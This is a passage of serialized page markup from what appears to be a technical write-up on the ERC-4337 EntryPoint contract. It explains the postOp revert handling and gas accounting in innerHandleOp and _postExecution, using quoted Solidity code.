user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":26,"tag":86,"props":105048,"children":105049},{},[105050,105052,105058,105060,105066],{"type":32,"value":105051},"For any other revert reason, the code will still call ",{"type":26,"tag":53,"props":105053,"children":105055},{"className":105054},[],[105056],{"type":32,"value":105057},"_postExecution()",{"type":32,"value":105059}," but with ",{"type":26,"tag":53,"props":105061,"children":105063},{"className":105062},[],[105064],{"type":32,"value":105065},"PostOpMode.postOpReverted",{"type":32,"value":105067},". This ensures proper cleanup happens even on failure.",{"type":26,"tag":35,"props":105069,"children":105070},{},[105071,105073,105078,105080,105085,105087,105092,105094,105099],{"type":32,"value":105072},"We're particularly interested in the third error path, where ",{"type":26,"tag":53,"props":105074,"children":105076},{"className":105075},[],[105077],{"type":32,"value":104999},{"type":32,"value":105079}," is neither ",{"type":26,"tag":53,"props":105081,"children":105083},{"className":105082},[],[105084],{"type":32,"value":105020},{"type":32,"value":105086}," nor ",{"type":26,"tag":53,"props":105088,"children":105090},{"className":105089},[],[105091],{"type":32,"value":105044},{"type":32,"value":105093},". To understand this case better, let's examine how ",{"type":26,"tag":53,"props":105095,"children":105097},{"className":105096},[],[105098],{"type":32,"value":104955},{"type":32,"value":105100}," works.",{"type":26,"tag":465,"props":105102,"children":105104},{"className":4186,"code":105103,"language":4185,"meta":7,"style":7}," function innerHandleOp(\n bytes memory callData,\n UserOpInfo memory opInfo,\n bytes calldata context\n ) external returns (uint256 actualGasCost) {\n [...]\n IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n if (callData.length > 0) {\n bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n if (!success) {\n uint256 freePtr = _getFreePtr();\n bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n if (result.length > 0) {\n emit UserOperationRevertReason(\n opInfo.userOpHash,\n mUserOp.sender,\n mUserOp.nonce,\n result\n );\n }\n _restoreFreePtr(freePtr);\n mode = IPaymaster.PostOpMode.opReverted;\n }\n }\n\n unchecked {\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n return _postExecution(mode, opInfo, context, actualGas);\n }\n }\n",[105105],{"type":26,"tag":53,"props":105106,"children":105107},{"__ignoreMap":7},[105108,105124,105145,105165,105181,105214,105221,105238,105262,105302,105321,105346,105380,105404,105421,105429,105437,105445,105453,105461,105468,105481,105498,105505,105512,105519,105530,105569,105585,105592],{"type":26,"tag":475,"props":105109,"children":105110},{"class":477,"line":478},[105111,105115,105120],{"type":26,"tag":475,"props":105112,"children":105113},{"style":482},[105114],{"type":32,"value":89451},{"type":26,"tag":475,"props":105116,"children":105117},{"style":493},[105118],{"type":32,"value":105119}," innerHandleOp",{"type":26,"tag":475,"props":105121,"children":105122},{"style":499},[105123],{"type":32,"value":3169},{"type":26,"tag":475,"props":105125,"children":105126},{"class":477,"line":516},[105127,105132,105136,105141],{"type":26,"tag":475,"props":105128,"children":105129},{"style":505},[105130],{"type":32,"value":105131}," bytes",{"type":26,"tag":475,"props":105133,"children":105134},{"style":482},[105135],{"type":32,"value":102512},{"type":26,"tag":475,"props":105137,"children":105138},{"style":2375},[105139],{"type":32,"value":105140}," callData",{"type":26,"tag":475,"props":105142,"children":105143},{"style":499},[105144],{"type":32,"value":2425},{"type":26,"tag":475,"props":105146,"children":105147},{"class":477,"line":539},[105148,105152,105156,105161],{"type":26,"tag":475,"props":105149,"children":105150},{"style":482},[105151],{"type":32,"value":104172},{"type":26,"tag":475,"props":105153,"children":105154},{"style":482},[105155],{"type":32,"value":102512},{"type":26,"tag":475,"props":105157,"children":105158},{"style":2375},[105159],{"type":32,"value":105160}," opInfo",{"type":26,"tag":475,"props":105162,"children":105163},{"style":499},[105164],{"type":32,"value":2425},{"type":26,"tag":475,"props":105166,"children":105167},{"class":477,"line":548},[105168,105172,105176],{"type":26,"tag":475,"props":105169,"children":105170},{"style":505},[105171],{"type":32,"value":105131},{"type":26,"tag":475,"props":105173,"children":105174},{"style":482},[105175],{"type":32,"value":102444},{"type":26,"tag":475,"props":105177,"children":105178},{"style":2375},[105179],{"type":32,"value":105180}," context\n",{"type":26,"tag":475,"props":105182,"children":105183},{"class":477,"line":558},[105184,105189,105194,105198,105202,105206,105210],{"type":26,"tag":475,"props":105185,"children":105186},{"style":499},[105187],{"type":32,"value":105188}," ) ",{"type":26,"tag":475,"props":105190,"children":105191},{"style":482},[105192],{"type":32,"value":105193},"external",{"type":26,"tag":475,"props":105195,"children":105196},{"style":586},[105197],{"type":32,"value":75622},{"type":26,"tag":475,"props":105199,"children":105200},{"style":499},[105201],{"type":32,"value":2775},{"type":26,"tag":475,"props":105203,"children":105204},{"style":505},[105205],{"type":32,"value":45861},{"type":26,"tag":475,"props":105207,"children":105208},{"style":2375},[105209],{"type":32,"value":103253},{"type":26,"tag":475,"props":105211,"children":105212},{"style":499},[105213],{"type":32,"value":676},{"type":26,"tag":475,"props":105215,"children":105216},{"class":477,"line":582},[105217],{"type":26,"tag":475,"props":105218,"children":105219},{"style":499},[105220],{"type":32,"value":104233},{"type":26,"tag":475,"props":105222,"children":105223},{"class":477,"line":596},[105224,105229,105233],{"type":26,"tag":475,"props":105225,"children":105226},{"style":499},[105227],{"type":32,"value":105228}," IPaymaster.PostOpMode mode ",{"type":26,"tag":475,"props":105230,"children":105231},{"style":714},[105232],{"type":32,"value":786},{"type":26,"tag":475,"props":105234,"children":105235},{"style":499},[105236],{"type":32,"value":105237}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":26,"tag":475,"props":105239,"children":105240},{"class":477,"line":610},[105241,105245,105250,105254,105258],{"type":26,"tag":475,"props":105242,"children":105243},{"style":586},[105244],{"type":32,"value":2980},{"type":26,"tag":475,"props":105246,"children":105247},{"style":499},[105248],{"type":32,"value":105249}," (callData.length ",{"type":26,"tag":475,"props":105251,"children":105252},{"style":714},[105253],{"type":32,"value":10170},{"type":26,"tag":475,"props":105255,"children":105256},{"style":903},[105257],{"type":32,"value":2752},{"type":26,"tag":475,"props":105259,"children":105260},{"style":499},[105261],{"type":32,"value":676},{"type":26,"tag":475,"props":105263,"children":105264},{"class":477,"line":650},[105265,105270,105275,105279,105284,105288,105293,105297],{"type":26,"tag":475,"props":105266,"children":105267},{"style":505},[105268],{"type":32,"value":105269}," bool",{"type":26,"tag":475,"props":105271,"children":105272},{"style":499},[105273],{"type":32,"value":105274}," success ",{"type":26,"tag":475,"props":105276,"children":105277},{"style":714},[105278],{"type":32,"value":786},{"type":26,"tag":475,"props":105280,"children":105281},{"style":499},[105282],{"type":32,"value":105283}," Exec.",{"type":26,"tag":475,"props":105285,"children":105286},{"style":493},[105287],{"type":32,"value":37989},{"type":26,"tag":475,"props":105289,"children":105290},{"style":499},[105291],{"type":32,"value":105292},"(mUserOp.sender, ",{"type":26,"tag":475,"props":105294,"children":105295},{"style":903},[105296],{"type":32,"value":3732},{"type":26,"tag":475,"props":105298,"children":105299},{"style":499},[105300],{"type":32,"value":105301},", callData, callGasLimit);\n",{"type":26,"tag":475,"props":105303,"children":105304},{"class":477,"line":679},[105305,105309,105313,105317],{"type":26,"tag":475,"props":105306,"children":105307},{"style":586},[105308],{"type":32,"value":58493},{"type":26,"tag":475,"props":105310,"children":105311},{"style":499},[105312],{"type":32,"value":2775},{"type":26,"tag":475,"props":105314,"children":105315},{"style":714},[105316],{"type":32,"value":20329},{"type":26,"tag":475,"props":105318,"children":105319},{"style":499},[105320],{"type":32,"value":104605},{"type":26,"tag":475,"props":105322,"children":105323},{"class":477,"line":735},[105324,105328,105333,105337,105342],{"type":26,"tag":475,"props":105325,"children":105326},{"style":505},[105327],{"type":32,"value":102892},{"type":26,"tag":475,"props":105329,"children":105330},{"style":499},[105331],{"type":32,"value":105332}," freePtr ",{"type":26,"tag":475,"props":105334,"children":105335},{"style":714},[105336],{"type":32,"value":786},{"type":26,"tag":475,"props":105338,"children":105339},{"style":493},[105340],{"type":32,"value":105341}," _getFreePtr",{"type":26,"tag":475,"props":105343,"children":105344},{"style":499},[105345],{"type":32,"value":3376},{"type":26,"tag":475,"props":105347,"children":105348},{"class":477,"line":744},[105349,105353,105357,105362,105366,105370,105375],{"type":26,"tag":475,"props":105350,"children":105351},{"style":505},[105352],{"type":32,"value":104289},{"type":26,"tag":475,"props":105354,"children":105355},{"style":482},[105356],{"type":32,"value":102512},{"type":26,"tag":475,"props":105358,"children":105359},{"style":499},[105360],{"type":32,"value":105361}," result ",{"type":26,"tag":475,"props":105363,"children":105364},{"style":714},[105365],{"type":32,"value":786},{"type":26,"tag":475,"props":105367,"children":105368},{"style":499},[105369],{"type":32,"value":105283},{"type":26,"tag":475,"props":105371,"children":105372},{"style":493},[105373],{"type":32,"value":105374},"getReturnData",{"type":26,"tag":475,"props":105376,"children":105377},{"style":499},[105378],{"type":32,"value":105379},"(REVERT_REASON_MAX_LEN);\n",{"type":26,"tag":475,"props":105381,"children":105382},{"class":477,"line":753},[105383,105387,105392,105396,105400],{"type":26,"tag":475,"props":105384,"children":105385},{"style":586},[105386],{"type":32,"value":102952},{"type":26,"tag":475,"props":105388,"children":105389},{"style":499},[105390],{"type":32,"value":105391}," (result.length ",{"type":26,"tag":475,"props":105393,"children":105394},{"style":714},[105395],{"type":32,"value":10170},{"type":26,"tag":475,"props":105397,"children":105398},{"style":903},[105399],{"type":32,"value":2752},{"type":26,"tag":475,"props":105401,"children":105402},{"style":499},[105403],{"type":32,"value":676},{"type":26,"tag":475,"props":105405,"children":105406},{"class":477,"line":761},[105407,105412,105417],{"type":26,"tag":475,"props":105408,"children":105409},{"style":586},[105410],{"type":32,"value":105411}," emit",{"type":26,"tag":475,"props":105413,"children":105414},{"style":493},[105415],{"type":32,"value":105416}," UserOperationRevertReason",{"type":26,"tag":475,"props":105418,"children":105419},{"style":499},[105420],{"type":32,"value":3169},{"type":26,"tag":475,"props":105422,"children":105423},{"class":477,"line":770},[105424],{"type":26,"tag":475,"props":105425,"children":105426},{"style":499},[105427],{"type":32,"value":105428}," opInfo.userOpHash,\n",{"type":26,"tag":475,"props":105430,"children":105431},{"class":477,"line":794},[105432],{"type":26,"tag":475,"props":105433,"children":105434},{"style":499},[105435],{"type":32,"value":105436}," mUserOp.sender,\n",{"type":26,"tag":475,"props":105438,"children":105439},{"class":477,"line":831},[105440],{"type":26,"tag":475,"props":105441,"children":105442},{"style":499},[105443],{"type":32,"value":105444}," mUserOp.nonce,\n",{"type":26,"tag":475,"props":105446,"children":105447},{"class":477,"line":845},[105448],{"type":26,"tag":475,"props":105449,"children":105450},{"style":499},[105451],{"type":32,"value":105452}," result\n",{"type":26,"tag":475,"props":105454,"children":105455},{"class":477,"line":854},[105456],{"type":26,"tag":475,"props":105457,"children":105458},{"style":499},[105459],{"type":32,"value":105460}," );\n",{"type":26,"tag":475,"props":105462,"children":105463},{"class":477,"line":862},[105464],{"type":26,"tag":475,"props":105465,"children":105466},{"style":499},[105467],{"type":32,"value":1178},{"type":26,"tag":475,"props":105469,"children":105470},{"class":477,"line":885},[105471,105476],{"type":26,"tag":475,"props":105472,"children":105473},{"style":493},[105474],{"type":32,"value":105475}," _restoreFreePtr",{"type":26,"tag":475,"props":105477,"children":105478},{"style":499},[105479],{"type":32,"value":105480},"(freePtr);\n",{"type":26,"tag":475,"props":105482,"children":105483},{"class":477,"line":913},[105484,105489,105493],{"type":26,"tag":475,"props":105485,"children":105486},{"style":499},[105487],{"type":32,"value":105488}," mode ",{"type":26,"tag":475,"props":105490,"children":105491},{"style":714},[105492],{"type":32,"value":786},{"type":26,"tag":475,"props":105494,"children":105495},{"style":499},[105496],{"type":32,"value":105497}," IPaymaster.PostOpMode.opReverted;\n",{"type":26,"tag":475,"props":105499,"children":105500},{"class":477,"line":926},[105501],{"type":26,"tag":475,"props":105502,"children":105503},{"style":499},[105504],{"type":32,"value":741},{"type":26,"tag":475,"props":105506,"children":105507},{"class":477,"line":948},[105508],{"type":26,"tag":475,"props":105509,"children":105510},{"style":499},[105511],{"type":32,"value":750},{"type":26,"tag":475,"props":105513,"children":105514},{"class":477,"line":966},[105515],{"type":26,"tag":475,"props":105516,"children":105517},{"emptyLinePlaceholder":18},[105518],{"type":32,"value":545},{"type":26,"tag":475,"props":105520,"children":105521},{"class":477,"line":979},[105522,105526],{"type":26,"tag":475,"props":105523,"children":105524},{"style":586},[105525],{"type":32,"value":102548},{"type":26,"tag":475,"props":105527,"children":105528},{"style":499},[105529],{"type":32,"value":579},{"type":26,"tag":475,"props":105531,"children":105532},{"class":477,"line":1006},[105533,105537,105541,105545,105549,105553,105557,105561,105565],{"type":26,"tag":475,"props":105534,"children":105535},{"style":505},[105536],{"type":32,"value":102560},{"type":26,"tag":475,"props":105538,"children":105539},{"style":499},[105540],{"type":32,"value":104724},{"type":26,"tag":475,"props":105542,"children":105543},{"style":714},[105544],{"type":32,"value":786},{"type":26,"tag":475,"props":105546,"children":105547},{"style":499},[105548],{"type":32,"value":104733},{"type":26,"tag":475,"props":105550,"children":105551},{"style":714},[105552],{"type":32,"value":4039},{"type":26,"tag":475,"props":105554,"children":105555},{"style":482},[105556],{"type":32,"value":104742},{"type":26,"tag":475,"props":105558,"children":105559},{"style":499},[105560],{"type":32,"value":13750},{"type":26,"tag":475,"props":105562,"children":105563},{"style":714},[105564],{"type":32,"value":1106},{"type":26,"tag":475,"props":105566,"children":105567},{"style":499},[105568],{"type":32,"value":104755},{"type":26,"tag":475,"props":105570,"children":105571},{"class":477,"line":1046},[105572,105576,105580],{"type":26,"tag":475,"props":105573,"children":105574},{"style":586},[105575],{"type":32,"value":78705},{"type":26,"tag":475,"props":105577,"children":105578},{"style":493},[105579],{"type":32,"value":104864},{"type":26,"tag":475,"props":105581,"children":105582},{"style":499},[105583],{"type":32,"value":105584},"(mode, opInfo, context, actualGas);\n",{"type":26,"tag":475,"props":105586,"children":105587},{"class":477,"line":1068},[105588],{"type":26,"tag":475,"props":105589,"children":105590},{"style":499},[105591],{"type":32,"value":750},{"type":26,"tag":475,"props":105593,"children":105594},{"class":477,"line":1077},[105595],{"type":26,"tag":475,"props":105596,"children":105597},{"style":499},[105598],{"type":32,"value":851},{"type":26,"tag":35,"props":105600,"children":105601},{},[105602,105604,105609,105611,105616,105618,105624,105626,105632,105634,105639,105641,105651],{"type":32,"value":105603},"We observe that, in the happy path, ",{"type":26,"tag":53,"props":105605,"children":105607},{"className":105606},[],[105608],{"type":32,"value":104955},{"type":32,"value":105610}," is expected to not only execute the actual ",{"type":26,"tag":53,"props":105612,"children":105614},{"className":105613},[],[105615],{"type":32,"value":101614},{"type":32,"value":105617}," call, but also call ",{"type":26,"tag":53,"props":105619,"children":105621},{"className":105620},[],[105622],{"type":32,"value":105623},"_postExecution",{"type":32,"value":105625},". This means that the third failure handling path, which passes ",{"type":26,"tag":53,"props":105627,"children":105629},{"className":105628},[],[105630],{"type":32,"value":105631},"postOpReverted",{"type":32,"value":105633}," as its mode, happens when something goes wrong with the ",{"type":26,"tag":53,"props":105635,"children":105637},{"className":105636},[],[105638],{"type":32,"value":105623},{"type":32,"value":105640}," call ",{"type":26,"tag":105,"props":105642,"children":105643},{},[105644,105646],{"type":32,"value":105645},"inside ",{"type":26,"tag":53,"props":105647,"children":105649},{"className":105648},[],[105650],{"type":32,"value":104955},{"type":32,"value":353},{"type":26,"tag":35,"props":105653,"children":105654},{},[105655,105657,105662],{"type":32,"value":105656},"Let's examine the ",{"type":26,"tag":53,"props":105658,"children":105660},{"className":105659},[],[105661],{"type":32,"value":105623},{"type":32,"value":105663}," code to understand where the revert might occur.",{"type":26,"tag":465,"props":105665,"children":105667},{"className":4186,"code":105666,"language":4185,"meta":7,"style":7}," function _postExecution(\n IPaymaster.PostOpMode mode,\n UserOpInfo memory opInfo,\n bytes memory context,\n uint256 actualGas\n ) internal virtual returns (uint256 actualGasCost) {\n [...]\n if (paymaster == address(0)) {\n refundAddress = mUserOp.sender;\n } else {\n refundAddress = paymaster;\n if (context.length > 0) {\n actualGasCost = actualGas * gasPrice;\n uint256 postOpPreGas = gasleft();\n if (mode != IPaymaster.PostOpMode.postOpReverted) {\n try IPaymaster(paymaster).postOp{\n gas: mUserOp.paymasterPostOpGasLimit\n }(mode, context, actualGasCost, gasPrice)\n // solhint-disable-next-line no-empty-blocks\n {} catch {\n bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n revert PostOpReverted(reason);\n }\n }\n // Calculating a penalty for unused postOp gas\n // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n uint256 postOpGasUsed = postOpPreGas - gasleft();\n postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n }\n }\n [...]\n }\n",[105668],{"type":26,"tag":53,"props":105669,"children":105670},{"__ignoreMap":7},[105671,105686,105711,105730,105749,105761,105798,105805,105837,105854,105869,105885,105909,105934,105958,105980,105998,106015,106023,106041,106057,106090,106108,106115,106122,106130,106146,106178,106200,106207,106214,106221],{"type":26,"tag":475,"props":105672,"children":105673},{"class":477,"line":478},[105674,105678,105682],{"type":26,"tag":475,"props":105675,"children":105676},{"style":482},[105677],{"type":32,"value":89451},{"type":26,"tag":475,"props":105679,"children":105680},{"style":493},[105681],{"type":32,"value":104864},{"type":26,"tag":475,"props":105683,"children":105684},{"style":499},[105685],{"type":32,"value":3169},{"type":26,"tag":475,"props":105687,"children":105688},{"class":477,"line":516},[105689,105694,105698,105702,105707],{"type":26,"tag":475,"props":105690,"children":105691},{"style":482},[105692],{"type":32,"value":105693}," IPaymaster",{"type":26,"tag":475,"props":105695,"children":105696},{"style":499},[105697],{"type":32,"value":353},{"type":26,"tag":475,"props":105699,"children":105700},{"style":2375},[105701],{"type":32,"value":103224},{"type":26,"tag":475,"props":105703,"children":105704},{"style":2375},[105705],{"type":32,"value":105706}," mode",{"type":26,"tag":475,"props":105708,"children":105709},{"style":499},[105710],{"type":32,"value":2425},{"type":26,"tag":475,"props":105712,"children":105713},{"class":477,"line":539},[105714,105718,105722,105726],{"type":26,"tag":475,"props":105715,"children":105716},{"style":482},[105717],{"type":32,"value":104172},{"type":26,"tag":475,"props":105719,"children":105720},{"style":482},[105721],{"type":32,"value":102512},{"type":26,"tag":475,"props":105723,"children":105724},{"style":2375},[105725],{"type":32,"value":105160},{"type":26,"tag":475,"props":105727,"children":105728},{"style":499},[105729],{"type":32,"value":2425},{"type":26,"tag":475,"props":105731,"children":105732},{"class":477,"line":548},[105733,105737,105741,105745],{"type":26,"tag":475,"props":105734,"children":105735},{"style":505},[105736],{"type":32,"value":105131},{"type":26,"tag":475,"props":105738,"children":105739},{"style":482},[105740],{"type":32,"value":102512},{"type":26,"tag":475,"props":105742,"children":105743},{"style":2375},[105744],{"type":32,"value":75969},{"type":26,"tag":475,"props":105746,"children":105747},{"style":499},[105748],{"type":32,"value":2425},{"type":26,"tag":475,"props":105750,"children":105751},{"class":477,"line":558},[105752,105756],{"type":26,"tag":475,"props":105753,"children":105754},{"style":505},[105755],{"type":32,"value":89629},{"type":26,"tag":475,"props":105757,"children":105758},{"style":2375},[105759],{"type":32,"value":105760}," actualGas\n",{"type":26,"tag":475,"props":105762,"children":105763},{"class":477,"line":582},[105764,105768,105773,105778,105782,105786,105790,105794],{"type":26,"tag":475,"props":105765,"children":105766},{"style":499},[105767],{"type":32,"value":105188},{"type":26,"tag":475,"props":105769,"children":105770},{"style":482},[105771],{"type":32,"value":105772},"internal",{"type":26,"tag":475,"props":105774,"children":105775},{"style":482},[105776],{"type":32,"value":105777}," virtual",{"type":26,"tag":475,"props":105779,"children":105780},{"style":586},[105781],{"type":32,"value":75622},{"type":26,"tag":475,"props":105783,"children":105784},{"style":499},[105785],{"type":32,"value":2775},{"type":26,"tag":475,"props":105787,"children":105788},{"style":505},[105789],{"type":32,"value":45861},{"type":26,"tag":475,"props":105791,"children":105792},{"style":2375},[105793],{"type":32,"value":103253},{"type":26,"tag":475,"props":105795,"children":105796},{"style":499},[105797],{"type":32,"value":676},{"type":26,"tag":475,"props":105799,"children":105800},{"class":477,"line":596},[105801],{"type":26,"tag":475,"props":105802,"children":105803},{"style":499},[105804],{"type":32,"value":104233},{"type":26,"tag":475,"props":105806,"children":105807},{"class":477,"line":610},[105808,105812,105817,105821,105825,105829,105833],{"type":26,"tag":475,"props":105809,"children":105810},{"style":586},[105811],{"type":32,"value":58493},{"type":26,"tag":475,"props":105813,"children":105814},{"style":499},[105815],{"type":32,"value":105816}," (paymaster ",{"type":26,"tag":475,"props":105818,"children":105819},{"style":714},[105820],{"type":32,"value":8287},{"type":26,"tag":475,"props":105822,"children":105823},{"style":505},[105824],{"type":32,"value":5963},{"type":26,"tag":475,"props":105826,"children":105827},{"style":499},[105828],{"type":32,"value":626},{"type":26,"tag":475,"props":105830,"children":105831},{"style":903},[105832],{"type":32,"value":3732},{"type":26,"tag":475,"props":105834,"children":105835},{"style":499},[105836],{"type":32,"value":34889},{"type":26,"tag":475,"props":105838,"children":105839},{"class":477,"line":650},[105840,105845,105849],{"type":26,"tag":475,"props":105841,"children":105842},{"style":499},[105843],{"type":32,"value":105844}," refundAddress ",{"type":26,"tag":475,"props":105846,"children":105847},{"style":714},[105848],{"type":32,"value":786},{"type":26,"tag":475,"props":105850,"children":105851},{"style":499},[105852],{"type":32,"value":105853}," mUserOp.sender;\n",{"type":26,"tag":475,"props":105855,"children":105856},{"class":477,"line":679},[105857,105861,105865],{"type":26,"tag":475,"props":105858,"children":105859},{"style":499},[105860],{"type":32,"value":656},{"type":26,"tag":475,"props":105862,"children":105863},{"style":586},[105864],{"type":32,"value":3023},{"type":26,"tag":475,"props":105866,"children":105867},{"style":499},[105868],{"type":32,"value":579},{"type":26,"tag":475,"props":105870,"children":105871},{"class":477,"line":735},[105872,105876,105880],{"type":26,"tag":475,"props":105873,"children":105874},{"style":499},[105875],{"type":32,"value":105844},{"type":26,"tag":475,"props":105877,"children":105878},{"style":714},[105879],{"type":32,"value":786},{"type":26,"tag":475,"props":105881,"children":105882},{"style":499},[105883],{"type":32,"value":105884}," paymaster;\n",{"type":26,"tag":475,"props":105886,"children":105887},{"class":477,"line":744},[105888,105892,105897,105901,105905],{"type":26,"tag":475,"props":105889,"children":105890},{"style":586},[105891],{"type":32,"value":102952},{"type":26,"tag":475,"props":105893,"children":105894},{"style":499},[105895],{"type":32,"value":105896}," (context.length ",{"type":26,"tag":475,"props":105898,"children":105899},{"style":714},[105900],{"type":32,"value":10170},{"type":26,"tag":475,"props":105902,"children":105903},{"style":903},[105904],{"type":32,"value":2752},{"type":26,"tag":475,"props":105906,"children":105907},{"style":499},[105908],{"type":32,"value":676},{"type":26,"tag":475,"props":105910,"children":105911},{"class":477,"line":753},[105912,105917,105921,105925,105929],{"type":26,"tag":475,"props":105913,"children":105914},{"style":499},[105915],{"type":32,"value":105916}," actualGasCost ",{"type":26,"tag":475,"props":105918,"children":105919},{"style":714},[105920],{"type":32,"value":786},{"type":26,"tag":475,"props":105922,"children":105923},{"style":499},[105924],{"type":32,"value":104724},{"type":26,"tag":475,"props":105926,"children":105927},{"style":714},[105928],{"type":32,"value":4282},{"type":26,"tag":475,"props":105930,"children":105931},{"style":499},[105932],{"type":32,"value":105933}," gasPrice;\n",{"type":26,"tag":475,"props":105935,"children":105936},{"class":477,"line":761},[105937,105941,105946,105950,105954],{"type":26,"tag":475,"props":105938,"children":105939},{"style":505},[105940],{"type":32,"value":102909},{"type":26,"tag":475,"props":105942,"children":105943},{"style":499},[105944],{"type":32,"value":105945}," postOpPreGas ",{"type":26,"tag":475,"props":105947,"children":105948},{"style":714},[105949],{"type":32,"value":786},{"type":26,"tag":475,"props":105951,"children":105952},{"style":482},[105953],{"type":32,"value":104742},{"type":26,"tag":475,"props":105955,"children":105956},{"style":499},[105957],{"type":32,"value":3376},{"type":26,"tag":475,"props":105959,"children":105960},{"class":477,"line":770},[105961,105966,105971,105975],{"type":26,"tag":475,"props":105962,"children":105963},{"style":586},[105964],{"type":32,"value":105965}," if",{"type":26,"tag":475,"props":105967,"children":105968},{"style":499},[105969],{"type":32,"value":105970}," (mode ",{"type":26,"tag":475,"props":105972,"children":105973},{"style":714},[105974],{"type":32,"value":15394},{"type":26,"tag":475,"props":105976,"children":105977},{"style":499},[105978],{"type":32,"value":105979}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":26,"tag":475,"props":105981,"children":105982},{"class":477,"line":794},[105983,105988,105993],{"type":26,"tag":475,"props":105984,"children":105985},{"style":586},[105986],{"type":32,"value":105987}," try",{"type":26,"tag":475,"props":105989,"children":105990},{"style":493},[105991],{"type":32,"value":105992}," IPaymaster",{"type":26,"tag":475,"props":105994,"children":105995},{"style":499},[105996],{"type":32,"value":105997},"(paymaster).postOp{\n",{"type":26,"tag":475,"props":105999,"children":106000},{"class":477,"line":831},[106001,106006,106010],{"type":26,"tag":475,"props":106002,"children":106003},{"style":499},[106004],{"type":32,"value":106005}," gas",{"type":26,"tag":475,"props":106007,"children":106008},{"style":714},[106009],{"type":32,"value":179},{"type":26,"tag":475,"props":106011,"children":106012},{"style":499},[106013],{"type":32,"value":106014}," mUserOp.paymasterPostOpGasLimit\n",{"type":26,"tag":475,"props":106016,"children":106017},{"class":477,"line":845},[106018],{"type":26,"tag":475,"props":106019,"children":106020},{"style":499},[106021],{"type":32,"value":106022}," }(mode, context, actualGasCost, gasPrice)\n",{"type":26,"tag":475,"props":106024,"children":106025},{"class":477,"line":854},[106026,106031,106036],{"type":26,"tag":475,"props":106027,"children":106028},{"style":552},[106029],{"type":32,"value":106030}," // ",{"type":26,"tag":475,"props":106032,"children":106033},{"style":482},[106034],{"type":32,"value":106035},"solhint-disable",{"type":26,"tag":475,"props":106037,"children":106038},{"style":552},[106039],{"type":32,"value":106040},"-next-line no-empty-blocks\n",{"type":26,"tag":475,"props":106042,"children":106043},{"class":477,"line":862},[106044,106049,106053],{"type":26,"tag":475,"props":106045,"children":106046},{"style":499},[106047],{"type":32,"value":106048}," {} ",{"type":26,"tag":475,"props":106050,"children":106051},{"style":586},[106052],{"type":32,"value":661},{"type":26,"tag":475,"props":106054,"children":106055},{"style":499},[106056],{"type":32,"value":579},{"type":26,"tag":475,"props":106058,"children":106059},{"class":477,"line":885},[106060,106065,106069,106074,106078,106082,106086],{"type":26,"tag":475,"props":106061,"children":106062},{"style":505},[106063],{"type":32,"value":106064}," bytes",{"type":26,"tag":475,"props":106066,"children":106067},{"style":482},[106068],{"type":32,"value":102512},{"type":26,"tag":475,"props":106070,"children":106071},{"style":499},[106072],{"type":32,"value":106073}," reason ",{"type":26,"tag":475,"props":106075,"children":106076},{"style":714},[106077],{"type":32,"value":786},{"type":26,"tag":475,"props":106079,"children":106080},{"style":499},[106081],{"type":32,"value":105283},{"type":26,"tag":475,"props":106083,"children":106084},{"style":493},[106085],{"type":32,"value":105374},{"type":26,"tag":475,"props":106087,"children":106088},{"style":499},[106089],{"type":32,"value":105379},{"type":26,"tag":475,"props":106091,"children":106092},{"class":477,"line":913},[106093,106098,106103],{"type":26,"tag":475,"props":106094,"children":106095},{"style":586},[106096],{"type":32,"value":106097}," revert",{"type":26,"tag":475,"props":106099,"children":106100},{"style":493},[106101],{"type":32,"value":106102}," PostOpReverted",{"type":26,"tag":475,"props":106104,"children":106105},{"style":499},[106106],{"type":32,"value":106107},"(reason);\n",{"type":26,"tag":475,"props":106109,"children":106110},{"class":477,"line":926},[106111],{"type":26,"tag":475,"props":106112,"children":106113},{"style":499},[106114],{"type":32,"value":1074},{"type":26,"tag":475,"props":106116,"children":106117},{"class":477,"line":948},[106118],{"type":26,"tag":475,"props":106119,"children":106120},{"style":499},[106121],{"type":32,"value":1169},{"type":26,"tag":475,"props":106123,"children":106124},{"class":477,"line":966},[106125],{"type":26,"tag":475,"props":106126,"children":106127},{"style":552},[106128],{"type":32,"value":106129}," // Calculating a penalty for unused postOp gas\n",{"type":26,"tag":475,"props":106131,"children":106132},{"class":477,"line":979},[106133,106137,106141],{"type":26,"tag":475,"props":106134,"children":106135},{"style":552},[106136],{"type":32,"value":102974},{"type":26,"tag":475,"props":106138,"children":106139},{"style":482},[106140],{"type":32,"value":66452},{"type":26,"tag":475,"props":106142,"children":106143},{"style":552},[106144],{"type":32,"value":106145}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":26,"tag":475,"props":106147,"children":106148},{"class":477,"line":1006},[106149,106153,106158,106162,106166,106170,106174],{"type":26,"tag":475,"props":106150,"children":106151},{"style":505},[106152],{"type":32,"value":102909},{"type":26,"tag":475,"props":106154,"children":106155},{"style":499},[106156],{"type":32,"value":106157}," postOpGasUsed ",{"type":26,"tag":475,"props":106159,"children":106160},{"style":714},[106161],{"type":32,"value":786},{"type":26,"tag":475,"props":106163,"children":106164},{"style":499},[106165],{"type":32,"value":105945},{"type":26,"tag":475,"props":106167,"children":106168},{"style":714},[106169],{"type":32,"value":4039},{"type":26,"tag":475,"props":106171,"children":106172},{"style":482},[106173],{"type":32,"value":104742},{"type":26,"tag":475,"props":106175,"children":106176},{"style":499},[106177],{"type":32,"value":3376},{"type":26,"tag":475,"props":106179,"children":106180},{"class":477,"line":1046},[106181,106186,106190,106195],{"type":26,"tag":475,"props":106182,"children":106183},{"style":499},[106184],{"type":32,"value":106185}," postOpUnusedGasPenalty ",{"type":26,"tag":475,"props":106187,"children":106188},{"style":714},[106189],{"type":32,"value":786},{"type":26,"tag":475,"props":106191,"children":106192},{"style":493},[106193],{"type":32,"value":106194}," _getUnusedGasPenalty",{"type":26,"tag":475,"props":106196,"children":106197},{"style":499},[106198],{"type":32,"value":106199},"(postOpGasUsed, 